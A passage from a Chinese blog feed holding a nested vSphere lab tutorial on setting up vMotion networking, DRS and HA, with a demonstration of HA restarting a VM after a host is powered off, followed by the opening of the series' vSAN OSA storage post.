href="https://www.catwhiteangel.com/enterprise-vsphere-lab-07-ad-dns/">平台7 · 身份：AD 域控与 DNS</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-08-ntp-wrapup/">平台8 · 收尾：时间同步、vLCM 与全系列回顾</a></li></ul></div><p>上一篇把 vSAN 立起来后，集群终于有了一块三台主机都能访问、且带冗余的共享存储——这正是「高可用」一直缺的最后一块拼图。在此之前，就算某台主机宕了，它上面的虚拟机也只能跟着躺下；现在数据落在 vSAN 上，VM 就有了「换台主机重新跑起来」的可能。</p><p>这一篇把这种可能变成自动化的两件事：<strong>vSphere HA</strong>（主机故障时自动重启其上的 VM）与 <strong>vSphere DRS</strong>（用 vMotion 在主机间自动均衡负载）。我们会先补上 DRS 与在线迁移所需的 vMotion 专用网络（第四篇预留的 <code>YX-vMotion</code> / VLAN 20 终于派上用场），再依次启用 DRS 与 HA，最后<strong>真的拔掉一台主机</strong>，看 HA 把 VM 在别处拉起来。</p><span id="more"></span><h2 id="1-HA-与-DRS-各管什么">1 HA 与 DRS 各管什么</h2><p>两者常被并提，但解决的是不同方向的问题：</p><ul><li><strong>vSphere HA（High Availability，高可用）</strong> 管的是<strong>故障恢复</strong>：某台主机宕机，HA 会把它上面运行的 VM 在集群里其余主机上自动重启。它是被动的、事后的——VM 会有一次重启（不是无缝），但分钟级就能恢复，远好过等人来救。</li><li><strong>vSphere DRS（Distributed Resource Scheduler，分布式资源调度）</strong> 管的是<strong>负载均衡</strong>：它持续观察各主机的 CPU / 内存负载，用 vMotion 把 VM <strong>在线</strong>迁到更空闲的主机上，让集群整体均衡；新开 VM 时也由它决定放哪台（初始放置）。它是主动的、优化性的。</li></ul><p>在本篇实验里，两者<strong>共同受益于</strong>上一篇建好的共享存储，但对 vMotion 网络的依赖并不相同：HA 需要共享存储，好让故障主机上的 VM 能在其它主机重新启动；DRS 则需要共享存储<strong>加</strong> vMotion 网络来做在线迁移。严格说，<strong>HA 本身并不依赖 vMotion</strong>——没有 vMotion，HA 照样能在主机故障后把 VM 在别处重启（它做的是「重新注册并开机」，不是「在线搬」）；但 DRS 的自动均衡、以及本篇顺手做的在线迁移演示，必须先把 vMotion VMkernel 补上。所以这一步我们先建 vMotion 网络。</p><div class="note info flat"><p><strong>一个贯穿全系列的解耦：HA 由主机执行，不靠 vCenter。</strong> HA 的故障切换是各 ESXi 主机上的 <strong>FDM（Fault Domain Manager）</strong> 代理彼此选举、协同完成的——集群里会选出一个 FDM master，其余为 slave，靠它们之间的心跳判断谁还活着。所以<strong>即便 vCenter 自己宕了，HA 照样能重启 VM</strong>（这正是 vCenter 篇生产对照里那条「VCSA 放共享存储 + HA 重启」成立的根本）。相较之下，<strong>DRS 的自动均衡要 vCenter 在线</strong>——vCenter 宕机的窗口里，自我保护成立、自动调度暂停。</p></div><h2 id="2-vMotion-网络：给每台主机建-vMotion-VMkernel">2 vMotion 网络：给每台主机建 vMotion VMkernel</h2><p>vMotion 是把一台<strong>正在运行</strong>的 VM 从一台主机迁到另一台、且业务不中断的技术：它把 VM 的内存与运行状态通过专用网络拷到目标主机，切换瞬间完成。它是 DRS 自动均衡与在线迁移演示的搬运工；HA 的故障后重启不依赖 vMotion，但本篇为了完整展示集群调度能力，仍先把 vMotion 网络补上。</p><p>第四篇已在 <code>YX-vDS01</code> 上建好 <code>YX-vMotion</code>（VLAN 20）端口组，这一步给三台主机各建一个启用 vMotion 服务的 VMkernel 接上去。逐台：主机 → <code>Configure</code> → <code>VMkernel adapters</code> → <code>Add Networking</code> → <code>VMkernel Network Adapter</code> → 选 <code>YX-vMotion</code> → 在 <code>Enabled services</code> 勾选 <strong><code>vMotion</code></strong> → <code>IPv4 settings</code> 用 static，按下表填址：</p><table><thead><tr><th>主机</th><th>vMotion VMkernel IP</th><th>掩码</th><th>网关</th></tr></thead><tbody><tr><td><code>yx-esxi01</code></td><td><code>10.0.20.11</code></td><td><code>255.255.255.0</code></td><td>（无）</td></tr><tr><td><code>yx-esxi02</code></td><td><code>10.0.20.12</code></td><td><code>255.255.255.0</code></td><td>（无）</td></tr><tr><td><code>yx-esxi03</code></td><td><code>10.0.20.13</code></td><td><code>255.255.255.0</code></td><td>（无）</td></tr></tbody></table><p><code>10.0.20.0/24</code> 同样是第一篇定的<strong>无网关、不路由的纯二层专用段</strong>——vMotion 流量只在 VLAN 20 内东西向流动，不出网、不跨段，故<strong>不填网关</strong>。MTU 保持默认 <code>1500</code>。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-06-ha-drs/20260625200726315.png" alt=""></p><div class="note info flat"><p><strong>又一次印证第四篇 §5 的判断</strong>：vMotion vmk 是普通单 MAC 适配器，所以 <code>YX-vMotion</code> 端口组保持第四篇的默认 <code>Reject</code> 安全策略即可、无需放开。到这里 vMotion、vSAN 两个 vmk 都验证了「单 MAC 不需放宽」这条规律。</p></div><p><strong>顺手验证一次手动 vMotion。</strong> 为了后面 §5 的故障演示，先建一台小测试 VM（取名 <code>yx-test01</code>，<code>1 vCPU</code> / <code>1～2 GB</code> 内存、挂个轻量 Linux Live ISO 即可），存到 <code>vsanDatastore</code>、网络接 <code>YX-Server</code>。注意 <code>YX-Server</code>（VLAN 40）现在还没有 DHCP（域控要到下一篇才立），所以在 <code>yx-test01</code> 里<strong>手动配一个静态地址</strong>，例如 <code>10.0.40.100/24</code>、网关 <code>10.0.40.1</code>——这样你才能在它上面持续 <code>ping</code>（比如 ping 网关），用来观察迁移期间是否丢包。开机后右键它 → <code>Migrate</code> → <strong><code>Change compute resource only</code></strong> → 选另一台主机 → <code>Finish</code>。能看到它<strong>在线</strong>迁过去、期间 ping 不中断，就说明 vMotion 网络通了。</p><div class="note primary flat"><p><strong>生产环境对照</strong>：生产的 vMotion 网络通常独立且冗余，用 25GbE 或更高、并开巨型帧（MTU 9000）以缩短大内存 VM 的迁移时间；大规模环境还会配多个 vMotion vmk 做多网卡并行。我们这里单链路、<code>1500</code> MTU，够演示但迁移会慢些。</p></div><h2 id="3-启用-vSphere-DRS">3 启用 vSphere DRS</h2><p><code>YX-Cluster01</code> → <code>Configure</code> → <code>vSphere DRS</code> → <code>EDIT</code> → 打开 <code>vSphere DRS</code>：</p><ul><li><code>Automation Level</code>：选 <code>Fully Automated</code>（全自动）——DRS 会自动用 vMotion 均衡负载、也自动决定新 VM 放哪台。想先只看建议、不自动迁，可选 <code>Partially Automated</code>（部分自动，只做初始放置 + 给迁移建议）。</li><li><code>Migration Threshold</code>：保持默认（中档）。</li><li><code>Finish</code>。</li></ul><p>启用后，DRS 会接管初始放置与负载均衡。在我们这套三台、负载又轻的实验里，DRS 未必会频繁迁移（本就均衡），但机制已经生效——§2 那次手动 vMotion 演示的，正是 DRS 在背后用的同一套搬运能力。</p><div class="note success flat"><p><strong>实测：DRS 真的自动迁了。</strong> 本实验把 <code>yx-test01</code> 建在了内存最紧的 <code>yx-esxi01</code> 上（VCSA + vSAN 开销已让它只剩约 7 GB），启用 <code>Fully Automated</code> 后没等手动操作，DRS 就自己把它在线迁到了空闲的 <code>yx-esxi03</code>。<code>yx-test01 → Monitor → Tasks/Events</code> 里能看到这串事件：<code>Hot migrating ... with encryption</code>（<code>VmHotMigratingWithEncryptionEvent</code>，vMotion 默认加密传输）→ <code>Migrating off host ...</code>（<code>VmEmigratingEvent</code>）→ <strong><code>Migrated from yx-esxi01 to yx-esxi03 by DRS</code>（<code>DrsVmMigratedEvent</code>）</strong>。最后这条 <code>... by DRS</code>、发起者 <code>System</code>，就是「DRS 自动均衡」最直接的证据——也顺带替 §2 完成了「在线迁移不停机」的验证。</p></div><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-06-ha-drs/20260625222534943.png" alt=""></p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-06-ha-drs/20260625222154804.png" alt=""></p><div class="note info flat"><p><strong>启用 DRS 后你会看到几台 <code>vCLS</code> 虚拟机自动出现，别去动它们。</strong> vCLS（vSphere Cluster Services，集群服务）是一组系统托管的小代理 VM，用来保障 DRS 等集群服务的可用性，DRS 依赖至少 1 台 vCLS 在跑。我们这套是 ESXi 8.0 Update 3，用的是新的 <strong>Embedded vCLS</strong>：它以容器形式打包在 ESX 内、<strong>不占用 datastore</strong>（不会吃 <code>vsanDatastore</code> 容量），开关机时自动重建。数量上，8.0 U3 的 Embedded vCLS 架构下，2 台及以上主机的集群常见为 <strong>2 个</strong>实例；旧版 External vCLS 则可能表现为 1～3 台存放在 datastore 上的小 VM。无论哪种，它们都在清单的 <code>vCLS</code> 文件夹下、被 HA 忽略、由系统管理——<strong>不要手动迁移、关机或删除</strong>，否则可能搅乱 DRS。</p></div><div class="note primary flat"><p><strong>生产环境对照（兼版本提醒）</strong>：vCLS 自 vSphere 7.0 U1 引入，最初是部署在 datastore 上的 OVF 虚拟机（现称 External vCLS）；8.0 U3 改成不占存储的 Embedded vCLS。而从 <strong>vCenter 9.0 起，vCLS 被弃用</strong>：ESX 9 在主机上内置了分布式键值存储来维护集群状态，集群不再需要这些代理 VM，9.0+ 可用 <code>Retreat Mode</code> 关闭 vCLS 而<strong>不影响 DRS/HA</strong>。但在我们这套 8.0 U3 上正相反——<strong>别去开 Retreat Mode</strong>，8.x 下关掉 vCLS 会让 DRS 停摆、HA 放置变次优。（Retreat Mode 的入口在 <code>Cluster → Configure → vSphere Cluster Services → General → EDIT VCLS MODE</code>，本系列不要用。）</p></div><h2 id="4-启用-vSphere-HA">4 启用 vSphere HA</h2><p><code>YX-Cluster01</code> → <code>Configure</code> → <code>vSphere Availability</code> → <code>EDIT</code> → 打开 <code>vSphere HA</code>。几个关键项：</p><ul><li><code>Host Failure Response</code> / <code>Failure Response</code>：<code>Restart VMs</code>——主机故障时在别处重启其 VM。</li><li><code>Response for Host Isolation</code>（主机隔离响应）：vSAN 集群推荐 <strong><code>Power off and restart VMs</code></strong>。「隔离」指某台主机与其它主机失联了、但自己其实没死，还在跑着 VM。问题在于：它一旦失联，集群里其它主机会以为它故障、可能在别处把同一批 VM 重启起来——若此时被隔离的主机还让原 VM 继续运行、继续往 vSAN 写数据，就会出现「同一个 VM 在两处同时跑、同时写盘」的冲突。所以推荐让被隔离的主机<strong>主动把自己的 VM 关掉</strong>（Power off），腾清后再由 HA 在健康的主机上干净地重启，避免两边抢着写同一份数据。</li><li><code>Admission Control</code>（准入控制）：设 <code>Host failures cluster tolerates = 1</code>——预留一台主机的容量，保证任一台故障时还有地方重启 VM。</li><li><code>VM Monitoring</code>：可选，开了能在 VM 卡死（VMware Tools 心跳停）时重启该 VM。</li></ul><div class="note info flat"><p><strong>vSAN 开着时，HA 的心跳走 vSAN 网络、不走管理网。</strong> 一旦集群启用了 vSAN，vSphere HA 各主机间的代理通信与网络心跳会自动改用 <strong>vSAN 网络（VLAN 30）</strong>，而不是管理网。这是 vSAN 集群的既定行为——所以我们上一篇建的 <code>YX-vSAN</code> vmk，既扛存储同步、也扛 HA 心跳。</p></div><div class="note warning flat"><p><strong>纯 vSAN 环境会报「心跳数据存储不足」，这是预期的。</strong> HA 除了网络心跳，还会用「数据存储心跳」（datastore heartbeating）做旁证，以便区分「主机真死了」和「只是网络隔离」。但 <strong><code>vsanDatastore</code> 不能用作 HA 的心跳数据存储</strong>——它需要一块<strong>非 vSAN</strong> 的 VMFS/NFS 数据存储。我们上一篇把外置 iSCSI/NFS 对照列为选学、没真挂，所以集群里没有非 vSAN 数据存储，HA 会给一条 <code>The number of vSphere HA heartbeat datastores ... is less than required</code> 之类的告警。这条在纯 vSAN 实验环境里属预期，<strong>不影响 HA 对「主机硬故障」的基本重启能力</strong>；但它确实意味着少了一层非 vSAN datastore heartbeat 作辅助判断——在复杂的网络隔离场景里，少这层旁证会让「到底是主机死了还是只是失联」更难判。若你做了上一篇的 iSCSI/NFS 对照，那块非 vSAN datastore 正好能被 HA 选作心跳盘，这条告警随之消失。</p></div><div class="note info flat"><p><strong>启用 HA 后还会遇到的另两条告警，都不是真故障：</strong></p><ul><li><strong><code>There was an error unconfiguring the vSphere HA agent on this host. To solve this problem, reconnect the host to vCenter Server.</code></strong> ——某台主机配置 FDM（HA 代理）时卡了一下（嵌套 + 内存紧时偶发）。按提示来：右键该主机 → <code>Connection</code> → <code>Reconnect</code>，或集群 <code>vSphere Availability</code> 里 <code>Reconfigure for vSphere HA</code>，重推一遍即可，随后 <code>Reset to Green</code> 清残留。</li><li><strong><code>This host currently has no management network redundancy</code></strong> ——HA 检查到管理网没有冗余。这是<strong>设计使然</strong>：我们每台主机只有一块管理网卡（<code>vmnic0</code>→VMnet2），嵌套实验没必要配双管理网卡。正确做法不是加网卡，而是告诉 HA 别再提醒：集群 <code>vSphere Availability → Edit → Advanced Options</code> 加一条 <code>das.ignoreRedundantNetWarning = true</code>，再对三台 <code>Reconfigure for vSphere HA</code>，三台的黄叹号即清。</li></ul></div><p>到这里，vCenter 篇埋下的那条「VCSA 放共享存储 + HA 重启」终于配齐了前提：VCSA 现在在 vSAN 上、HA 也开了，承载它的主机一旦故障，理论上 FDM 会在另一台把 VCSA 重启起来。</p><div class="note warning flat"><p><strong>但在本实验这套「紧」配置下，HA 不一定真能把 VCSA 重启起来——这是要诚实说清的一处。</strong> VCSA（Tiny）要 <code>14 GB</code> 内存，而 <code>yx-esxi02</code>/<code>esxi03</code> 各只有 <code>12 GB</code>，放不下。也就是说，若 <code>yx-esxi01</code> 故障，HA 想在另两台重启 VCSA 会因内存不足而失败。这不是 HA 的问题，而是我们为塞进单机把内存抠得太紧。所以：<strong>VCSA 的自我保护在「主机有足够余量」的正常集群里成立，在我们这套里只能作为概念</strong>；下面 §5 的故障演示，改用那台小测试 VM（内存小、放得下）来真切地看 HA 动作。</p></div><div class="note primary flat"><p><strong>生产环境对照</strong>：生产的准入控制按 <code>N+1</code>（甚至 <code>N+2</code>）正经预留容量，确保故障后被重启的 VM（含 VCSA 这类控制面）都有地方落；管理集群与工作负载集群分开，VCSA 落在有充足余量的管理集群里。我们这套三台、内存贴边，准入控制若设得严还可能挡住开机——实验里可按需把它调松或临时关掉，但要明白这意味着放弃了「留一台余量」的保证。</p></div><h2 id="5-故障演示：拔掉一台主机">5 故障演示：拔掉一台主机</h2><p>理论说够了，来真的。用 §2 建的 <code>yx-test01</code> 做被保护对象：</p><ol><li><strong>确认 <code>yx-test01</code> 开机、且当前在某台主机上</strong>（比如让它待在 <code>yx-esxi03</code>，可用 vMotion 迁过去）。记下它现在的主机。</li><li><strong>模拟主机硬故障</strong>：到 Workstation，把 <code>yx-esxi03</code> 这台 VM <strong>直接断电</strong>（<code>Power Off</code>，不是优雅关机——就是要模拟主机突然挂掉）。</li><li><strong>观察 HA 动作</strong>：vCenter（在 <code>yx-esxi01</code> 上，没被我们干掉）保持可用，正好用来看戏。开好 <code>YX-Cluster01 → Monitor → vSphere HA → Summary</code> 和 <code>yx-test01 → Monitor → Events</code> 两个页：<ul><li>几十秒后，<code>yx-esxi03</code> 在清单里变成 <code>Not responding</code> / 失联，事件流里出现 <code>... is disconnected</code>（<code>VmDisconnectedEvent</code>）；</li><li>HA（存活主机的 FDM）判定它故障，把 <code>yx-test01</code> 在 <code>yx-esxi01</code> 或 <code>yx-esxi02</code> 上<strong>自动重启</strong>，事件流里出现 <strong><code>vSphere HA restarted this virtual machine</code>（<code>com.vmware.vc.ha.VmRestartedByHAEvent</code>，类型 Warning）</strong>——这条就是 HA 重启的铁证；随后 <code>Host is connected</code>（VM 在新主机连回）、<code>Alarm ... changed to Green</code>（恢复正常）。</li><li><code>Monitor → vSphere HA → Summary</code> 同步反映状态：<code>Hosts failed: 1</code>、<code>Primary</code> 指向某台存活主机、<code>Virtual Machines — Protected</code> 数不变、<code>Unprotected: 0</code>。</li></ul></li></ol><div class="note success flat"><p><strong>本实验实测：从主机失联到 VM 在别处重启完成，约 1 分钟。</strong> 事件流里 <code>yx-esxi03 ... is disconnected</code> 在 <code>10:15:06</code>、<code>vSphere HA restarted this virtual machine</code> 在 <code>10:16:05</code>，间隔约 60 秒。嵌套 + 内存紧下这个量级正常（生产更快）。另外，被重启到的那台主机会弹一条 <code>Running VMware ESX in a virtual machine will result in degraded performance ...</code>——这是<strong>嵌套 ESXi 的固有提示</strong>（从承载它的主机发出，也顺带告诉你 VM 被重启到了哪台），不是故障。</p></div><ol start="4"><li><strong>vSAN 这边</strong>：FTT=1 下少一台仍可访问，<code>yx-test01</code> 的数据没丢。vSAN 会起一个默认 60 分钟的重建计时——但三台只剩两台、没有第三处可重建副本，所以它会<strong>等 <code>yx-esxi03</code> 回来</strong>而非立即重建（这正是 §1 上一篇说的「3 台无重建余量、故障期是撑着」）。</li><li><strong>恢复</strong>：把 <code>yx-esxi03</code> 重新开机，它重新入列，vSAN 自动 resync 把副本补齐，集群回到健康。</li></ol><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-06-ha-drs/20260625221655568.png" alt=""></p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-06-ha-drs/20260625221724506.png" alt=""></p><div class="note info flat"><p><strong>这次演示坐实了 §1 的解耦</strong>：把 <code>yx-esxi03</code> 干掉时，<code>yx-test01</code> 的重启是 <code>yx-esxi01</code>/<code>esxi02</code> 上的 FDM 自己完成的，全程不需要&quot;故障主机上的什么东西&quot;配合。还有一个细节很能说明问题：故障后看 <code>vSphere HA → Summary</code>，<code>Primary</code>（FDM master）会指向一台存活主机——如果原来的 master 正好在被干掉的那台上，存活主机会<strong>自动重新选举</strong>出新 master，这套选举与重启全程不依赖 vCenter。反过来想：如果当初干掉的是承载 VCSA 的 <code>yx-esxi01</code>，FDM 仍会照样重启 VM——只是 vCenter 会短暂失联、你得等它在别处起来（或如 §4 所说，本实验内存不够它起不来）。<strong>救 VM 的是存活主机，不是 vCenter。</strong></p></div><div class="note warning flat"><p><strong>别一次拔两台。</strong> 三台、FTT=1 只能容忍<strong>一台</strong>故障：同时倒两台，vSAN 对象失去仲裁、VM 直接不可访问，且准入控制本就只预留了一台的余量。演示一次只动一台，看完恢复了再说。</p></div><h2 id="6-验证与检查点">6 验证与检查点</h2><div class="note success flat"><ol><li><strong>vMotion 可用</strong>：三台主机各有一个 <code>vMotion</code> 服务的 VMkernel（<code>10.0.20.11/12/13</code>、VLAN 20）；手动 <code>Change compute resource only</code> 能在线迁移 VM。</li><li><strong>DRS 已启用</strong>：<code>vSphere DRS</code> 为 <code>Fully Automated</code>；vCLS / Embedded vCLS 状态正常——界面里若显示系统托管的 vCLS 实例，不要手动处理。</li><li><strong>HA 已启用</strong>：<code>vSphere Availability</code> 开启；三台主机在 HA 中均为已保护状态；除了预期的「心跳数据存储不足」告警外无其它 HA 配置错误。</li><li><strong>故障切换可用</strong>：拔掉一台主机后，HA 在存活主机上把 <code>yx-test01</code> 自动重启；主机恢复后 vSAN resync 回健康。</li><li><strong>演示后清理</strong>：故障演示用的 <code>yx-test01</code> 可保留作后续测试，或关机/删除以省内存（本实验内存紧）。</li></ol></div><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-06-ha-drs/20260625222813515.png" alt=""></p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-06-ha-drs/20260625223203248.png" alt=""></p><h2 id="结语">结语</h2><p>到这里，砚行物流的平台在共享存储之上又叠了两层韧性：<strong>HA</strong> 让主机故障不再等于业务停摆，<strong>DRS</strong> 让负载在三台之间自动找平。从第一篇的物理规划到这一篇，整套虚拟化的<strong>基础设施层</strong>——计算、网络、存储、高可用——已经基本成形。</p><p>但平台到此还缺一样东西：<strong>身份</strong>。现在登 vCenter 用的还是 SSO 本地管理员 <code>administrator@vsphere.local</code>，没有统一的目录服务，也没有给后续业务系统提供认证的地方。下一篇进入 <strong>Active Directory 与 DNS</strong>：在 <code>YX-Server</code>（VLAN 40）上立起域控 <code>yx-dc01</code>/<code>yx-dc02</code>，把 DNS 收编进来，再把 vCenter 作为外部身份源接入 AD——第四篇建好、却一直空着的 <code>YX-Server</code> 端口组，终于要迎来它的第一批正式住户。</p><!-- flag of hidden posts -->]]>
    </content>
    <id>https://www.catwhiteangel.com/enterprise-vsphere-lab-06-ha-drs/</id>
    <link href="https://www.catwhiteangel.com/enterprise-vsphere-lab-06-ha-drs/"/>
    <published>2026-06-25T07:51:00.000Z</published>
    <summary>配置 vSphere HA 与 DRS：先补齐 vMotion 专用网络（VLAN 20），再依次启用 DRS 负载均衡与 HA 主机故障自动重启，最后实际关停一台主机演示 HA 故障切换全过程与接管时间。</summary>
    <title>从零搭建企业虚拟化平台6——高可用：vSphere HA 与 DRS 配置与故障演示</title>
    <updated>2026-06-25T07:51:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Virtualization" scheme="https://www.catwhiteangel.com/categories/Virtualization/"/>
    <category term="vSphere Lab" scheme="https://www.catwhiteangel.com/categories/Virtualization/vSphere-Lab/"/>
    <category term="VMware" scheme="https://www.catwhiteangel.com/tags/VMware/"/>
    <category term="vSAN" scheme="https://www.catwhiteangel.com/tags/vSAN/"/>
    <category term="Storage" scheme="https://www.catwhiteangel.com/tags/Storage/"/>
    <content>
      <![CDATA[<h1>从零搭建企业虚拟化平台5——存储：vSAN 构建与外置 iSCSI/NFS 对照</h1><div class="note info flat"><p><strong>📚 从零搭建企业虚拟化平台 · 全系列导航</strong></p><ul><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-00-prologue/">平台0 · 序章：缘起与全局规划</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-01-environment/">平台1 · 环境：OPNsense 与网段搭建</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-02-esxi/">平台2 · 计算：三台嵌套 ESXi</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-03-vcenter/">平台3 · vCenter：部署与建集群</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-04-network/">平台4 · 网络：vDS 与端口组</a></li><li><strong>平台5 · 存储：vSAN 全闪　← 本篇</strong></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-06-ha-drs/">平台6 · 高可用：HA 与 DRS</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-07-ad-dns/">平台7 · 身份：AD 域控与 DNS</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-08-ntp-wrapup/">平台8 · 收尾：时间同步、vLCM 与全系列回顾</a></li></ul></div><p>到上一篇为止，集群的网络已经成形，但存储还停在一个尴尬的临时状态：vCenter 那台 VCSA 还寄居在 <code>yx-esxi01</code> 的本地盘 <code>esxi01-local</code> 上，<code>esxi02</code>/<code>esxi03</code> 则压根没有任何 datastore——<code>Summary</code> 页那个 <code>No datastores have been configured</code> 的黄叹号一直挂着。集群想往上叠 HA、DRS、vMotion，第一道坎都是同一个：<strong>得有一块三台主机都能访问的共享存储</strong>。</p><p>这一篇就把这块共享存储立起来——不靠外置 SAN，而是用三台主机自己的本地盘聚成 vSAN；建好后顺手把还寄居在临时本地盘上的 VCSA 用 Storage vMotion 迁上 vSAN、回收那块 600 GB 临时盘，闭合上一篇 vCenter 留下的自举（bootstrap）。最后用一台 TrueNAS 做一节外置 iSCSI/NFS 的轻量对照，把「超融合」与「传统外置存储」两条路摆在一起看。</p><span id="more"></span><h2 id="1-为什么是-vSAN：把本地盘聚成共享存储">1 为什么是 vSAN：把本地盘聚成共享存储</h2><p>集群要的共享存储，传统答案是另设一台外置存储（SAN/NAS），主机通过 iSCSI/FC/NFS 去挂。vSAN（VMware 的超融合存储，Hyper-Converged Infrastructure，HCI）换了个思路：<strong>把每台 ESXi 主机自己的本地盘聚合成一块横跨集群的分布式数据存储</strong>（<code>vsanDatastore</code>），不需要单独的存储设备。计算与存储跑在同一批主机上，这正是「超融合」的含义。</p><p>这也正好闭合上一篇的自举：vSAN 要 vCenter 来配，而 VCSA 先前只能临时落在 <code>esxi01-local</code>；现在 vCenter 已就位，我们把 vSAN 建起来，再把 VCSA 迁到 vSAN 这块有冗余的共享存储上，临时盘随之回收。</p><p>vSAN 的 OSA（原始存储架构，Original Storage Architecture）是这样组织磁盘的：每台主机贡献一个<strong>磁盘组（disk group）= 1 块缓存盘（cache，必须是闪存）+ 1～7 块容量盘（capacity）</strong>；vSAN 把各主机的磁盘组汇成一块 <code>vsanDatastore</code>；虚拟机的数据以对象（object）形式、按一条<strong>存储策略</strong>（含「允许的故障数」FTT）分布到不同主机上，从而获得冗余。</p><div class="note info flat"><p><strong>OSA 还是 ESA：本系列为什么走 OSA。</strong> vSAN 8 引入了新的 <strong>ESA（高速存储架构，Express Storage Architecture）</strong>：单层、全 NVMe、无缓存/容量之分，自 vSphere 8 Update 2 起与 OSA 功能对等、性能高 2～5 倍。它在 <strong>RAID-5 / Auto-Policy 这类「数据+校验」布局</strong>下，FTT=1 可以在 3 台主机上实现，且不再需要 OSA RAID-1 那种专门的见证（witness）组件——<strong>对满足硬件条件的全新集群，vSAN 8/9 都推荐优先用 ESA</strong>。但 ESA 对硬件是硬门槛：要 NVMe ReadyNode（设备 ≥1.6 TB、TLC、1 DWPD 以上、不支持 SAS/SATA，网络至少 10GbE 起步，但生产现实通常按 25GbE 或更高规划，具体以 ESA ReadyNode profile / Hardware Guidance 为准），这些我们的嵌套环境根本满足不了。所以本系列走 <strong>OSA</strong>，等以后有条件再单独写 ESA。</p><p>要澄清一点：<strong>OSA 并没有被弃用</strong>（vSphere/VCF 9 仍完整保留），被弃用的只是 OSA 的<strong>混合（hybrid）配置</strong>——即「闪存缓存 + 机械容量」那种老形态。我们用的是<strong>全闪 OSA</strong>（缓存与容量都按闪存对待），属当前仍受支持的形态。</p></div><div class="note primary flat"><p><strong>生产环境对照</strong>：新建集群在生产里如今首选 ESA（性能、成本、TCO 都更优），OSA 主要留给既有硬件的扩容（brownfield）或满足不了 ESA 硬件门槛的场景。无论 OSA 还是 ESA，vSAN 标准集群<strong>最少 3 台主机</strong>，生产<strong>推荐 4 台</strong>——多一台，FTT=1 下某台彻底故障后集群才有地方自动重建副本，而不是只能「撑着」。我们这套正好踩在 3 台的下限上，够演示、但没有重建余量。</p></div><h2 id="2-OSA-的磁盘画像：给每台主机加盘，并把盘标记为闪存">2 OSA 的磁盘画像：给每台主机加盘，并把盘标记为闪存</h2><p>OSA 每台主机要有缓存盘和容量盘，而三台主机现在只有启动盘。先在 Workstation 里给 <code>yx-esxi01</code>/<code>esxi02</code>/<code>esxi03</code> <strong>每台各加两块精简置备（thin）虚拟盘</strong>：</p><ul><li>一块约 <code>50 GB</code> 作缓存盘；</li><li>一块约 <code>150 GB</code> 作容量盘。</li></ul><p>精简置备意味着这些只是上限，宿主 NVMe 上的实际占用随写入增长，初期很小。<code>yx-esxi01</code> 上原有的 <code>esxi01-local</code>（600 GB，承载 VCSA）暂时保留，等 §5 迁走 VCSA 再回收；本步只是新增 vSAN 用盘，别动 <code>esxi01-local</code>。</p><div class="note warning flat"><p><strong>给 <code>yx-esxi01</code> 留足内存——这是本篇一个隐蔽却关键的前提。</strong> vSAN 启用时要在每块盘上初始化它的底层存储格式（LSOM），这一步要吃内存；而 <code>yx-esxi01</code> 比另两台多扛着一台 VCSA。本实验里 esxi01 原来的 <code>20 GB</code>，在「VCSA + vSAN」双重压力下不够用，直接导致它的磁盘组建不出来（报 <code>Unable to create LSOM file system</code>，详见 §4 排障）。<strong>动手做 vSAN 前，先在 Workstation 把 <code>yx-esxi01</code> 的内存抬到 <code>30 GB</code> 左右</strong>；<code>esxi02</code>/<code>esxi03</code> 不跑 VCSA，保持 <code>12 GB</code> 即可。</p><p>不过要清醒一点：在 64 GB 宿主上，<code>30 + 12 + 12</code> 再加 OPNsense（~2 GB）与 Windows + Workstation 自身（~8–10 GB）已经贴边。这属 vSAN <strong>初始化阶段的临时高压状态</strong>——此时别同时再开 TrueNAS、跳板机、测试 VM、域控等后续节点；必要时可临时把 <code>esxi02</code>/<code>esxi03</code> 压到 <code>10 GB</code>，优先保证承载 VCSA 的 <code>yx-esxi01</code> 有足够空闲内存。vSAN 建好并稳定后，再按后续实验的实际负载重新分配。</p></div><p>加盘后开机，进每台主机。这里有 OSA 嵌套<strong>最经典的一个坑</strong>：</p><div class="note warning flat"><p><strong>ESXi 会把 Workstation 的虚拟盘识别成机械盘（HDD），而 vSAN OSA 的缓存层必须是闪存——这是嵌套的正常现象，不是故障。</strong> 解决办法是手动把这两块新盘<strong>标记为闪存</strong>：vSphere Client → 选中主机 → <code>Configure</code> → <code>Storage</code> → <code>Storage Devices</code> → 勾选那块设备 → 点 <code>Mark as Flash Disk</code>（ESXi Host Client 里则是 <code>Storage</code> → <code>Devices</code> → 选中 → <code>Mark as flash</code>）。三台主机的两块新盘都要标记。</p><p>为什么两块都标记：只把缓存标记为闪存、容量留作 HDD，得到的是已被弃用的<strong>混合 OSA</strong>；两块都按闪存，才是当前受支持的<strong>全闪 OSA</strong>。标记完，它们在设备列表里的 <code>Drive Type</code> 会从 <code>HDD</code> 变成 <code>Flash</code>。</p></div><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-05-storage/20260625171229969.png" alt=""></p><div class="note primary flat"><p><strong>生产环境对照</strong>：真实主机用的是经认证的 SSD/NVMe，ESXi 会正确识别为闪存，根本不需要「标记为闪存」这一步——它纯粹是嵌套虚拟盘的产物。而 ESA 走得更远：全 NVMe、单层，连「缓存盘 / 容量盘」这种分层都没有了。</p></div><h2 id="3-vSAN-网络：给每台主机建-vSAN-VMkernel">3 vSAN 网络：给每台主机建 vSAN VMkernel</h2><p>vSAN 主机之间的数据同步走专用网络。上一篇已在 <code>YX-vDS01</code> 上建好 <code>YX-vSAN</code>（VLAN 